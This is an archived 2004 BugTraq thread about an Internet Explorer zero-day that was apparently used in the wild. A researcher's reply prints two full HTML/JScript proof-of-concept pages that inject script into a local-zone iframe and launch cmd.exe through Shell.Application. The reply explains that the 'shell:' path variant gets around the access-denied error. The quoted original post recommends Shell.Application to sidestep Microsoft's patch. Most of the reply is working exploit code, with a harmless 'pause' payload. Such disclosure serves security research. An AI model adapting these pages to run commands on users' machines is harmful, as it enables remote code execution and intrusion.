BugTraq
THE INSIDER VULNERABILITY STILL WORKS AFTER TODAY'S PATCH Jul 03 2004 01:28AM
liudieyu umbrella name (1 replies)
RE: [Full-Disclosure] THE VULNERABILITY STILL WORKS AFTER TODAY'S PATCH Jul 03 2004 02:35PM
Jelmer (jkuperus planet nl)
Well it's not quite as easy as you make it sound
I think you only took a look at http-equiv's example I posted to full
disclosure and based your post on that. You see this:

--snip--

<iframe src="c:\windows\web\tip.htm"
style="width:400px;height:200px;"></iframe>

<textarea id="code" style="display:none;">
injected.
<script language="JScript" DEFER>
alert('attempting injection');
var obj=new ActiveXObject("Shell.Application");
obj.ShellExecute("cmd.exe","/c pause");
</script>
</textarea>

<script language="javascript">

function doit() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin',
document.all.code.value);
}
setTimeout("doit()", 2000);
</script>

--snip--

Doesn't work, It gives an access denied exception
But this..

--snip--

<iframe src="shell:windows\web\tip.htm"
style="width:400px;height:200px;"></iframe>

<textarea id="code" style="display:none;">
injected.
<script language="JScript" DEFER>
alert('attempting injection');
var obj=new ActiveXObject("Shell.Application");
obj.ShellExecute("cmd.exe","/c pause");
</script>
</textarea>

<script language="javascript">

function doit() {
document.frames[0].document.body.insertAdjacentHTML('afterBegin',
document.all.code.value);
}
setTimeout("doit()", 2000);
</script>

--snip--

..does, notice the subtle difference.
The iframe in the 2nd example is set to shell:windows\web\tip.htm
Instead of the hard coded c:\windows\web\tip.htm
And it works. It was http-equiv whom probably by a mixture of luck and gut
instinct thru experience found this out when we where doing some mailing
back and forth to tackle some unrelated problem
If you'd actually tried to exploit it you would have known this

-----Original Message-----
From: full-disclosure-admin (at) lists.netsys (dot) com [email concealed]
[mailto:full-disclosure-admin (at) lists.netsys (dot) com [email concealed]] On Behalf Of
liudieyu (at) umbrella (dot) name [email concealed]
Sent: zaterdag 3 juli 2004 3:28
To: bugtraq (at) securityfocus (dot) com [email concealed]; NTBugtraq (at) listserv.ntbugtraq (dot) com [email concealed];
full-disclosure (at) lists.netsys (dot) com [email concealed]
Subject: [Full-Disclosure] THE INSIDER VULNERABILITY STILL WORKS AFTER
TODAY'S PATCH

FROM: Liu Die Yu - http://umbrella.name/
TO : bugtraq (at) securityfocus (dot) com [email concealed], NTBugtraq (at) listserv.ntbugtraq (dot) com [email concealed],
full-disclosure (at) lists.netsys (dot) com [email concealed]
SUBJ: THE INSIDER VULNERABILITY STILL WORKS AFTER TODAY'S PATCH
DATE: 2004/07/03 UTC+800
BODY:

[background]
the latest 0day remote compromise exploit for internet explorer was found
being used in the wild. :-)

"the-insider" exploit was first noticed by the-insider:
http://umbrella.name/iebug.com/display-singlemessage.php?readmsg:fulldis
clos
ure_message-2004060050
and then documented by jelmer:
http://umbrella.name/iebug.com/display-singlemessage.php?readmsg:fulldis
clos
ure_message-2004060124
http://62.131.86.111/analysis.htm

microsoft just released:
Critical Update for Microsoft Data Access Components - Disable ADODB.Stream
object from Internet Explorer (KB870669)
http://www.microsoft.com/downloads/details.aspx?FamilyID=4D056748-C538-4
6F6-
B7C8-2FBFD0D237E3&DisplayLang=en
which kills the old exploit.

[FIX FOR THE PATCH]
use Shell.Application instead.

[service]
both "attack service"(finding bugs) and "defense service"(securing systems):
http://umbrella.name/

[greetings]
malware( http://www.malware.com/ ) who found Shell.Application.

[signature]
LIUDIEYU
liudieyu AT umbrella . name

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus